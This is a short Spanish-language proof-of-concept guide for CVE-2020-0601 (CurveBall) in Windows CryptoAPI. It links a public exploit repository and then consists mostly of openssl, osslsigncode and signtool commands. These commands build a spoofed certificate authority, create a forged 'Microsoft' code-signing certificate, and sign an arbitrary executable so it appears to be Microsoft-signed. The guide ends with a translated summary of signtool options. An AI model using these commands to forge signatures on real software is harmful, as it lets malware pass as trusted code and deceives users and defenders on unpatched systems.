
PoC para CVE-2020-0601- Windows CryptoAPI (Crypt32.dll) POC: https://github.com/ollypwn/CurveBall
PoC para CVE-2020-0601: Windows CryptoAPI (Crypt32.dll) POC: https://github.com/ollypwn/CurveBall
En kali: 1.Crear archivo PKCS12
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
openssl ecparam -name secp384r1 -genkey -noout -out Microsoft.key
openssl req -new -key Microsoft.key -out Microsoft.csr -config openssl_cs.conf -reqexts v3_cs
openssl x509 -req -in Microsoft.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out Microsoft.crt -days 50000 -extfile openssl_cs.conf -extensions v3_cs
openssl pkcs12 -export -in Microsoft.crt -inkey Microsoft.key -certfile spoofed_ca.crt -name "Code Signing" -out Microsoft.p12
2.Firmar archivo:
osslsigncode sign -pkcs12 Microsoft.p12 -n "Signed by DiDi" -pass 123 -in c1.exe -out c1_Microsoft_signed.exe

3.En Windows use signtool para firmar el archivo, ubicación en "C:\Program Files (x86)\Microsoft SDKs\ClickOnce\SignTool\signtool.exe":
signtool sign /v /f Microsoft.p12 /tr http://timestamp.digicert.com /as /fd sha256 /p 123 c1.exe

Opciones globales del comando signtool.exe: /v Muestra resultados detallados y mensajes de advertencia, independientemente de si el comando se ejecuta correctamente. Opciones del comando sign: /f Especifica el certificado de firma en el archivo. Si el archivo tiene el formato Intercambio de Información Personal (PFX) y está protegido por contraseña, use la opción /p para especificar la contraseña. Si el archivo no contiene la clave privada, use las opciones /csp y /kc para especificar el CSP y el nombre del contenedor de claves privadas. /tr Especifica la URL del servidor de sellado de tiempo RFC 3161. Si esta opción (o /t) no está presente, no se realizará una operación de sellado de tiempo en el archivo firmado. Si la operación de sellado de tiempo falla, se generará una advertencia. Esta opción no puede usarse junto con la opción /t. /as Agrega esta firma. Si no existe una firma principal, esta firma se convierte en la firma principal. /fd Especifica el algoritmo de resumen de archivo que se usará para crear la firma del archivo. El valor predeterminado es SHA1. /p Especifica la contraseña que se usará al abrir el archivo PFX. (Use la opción /f para especificar el archivo PFX.)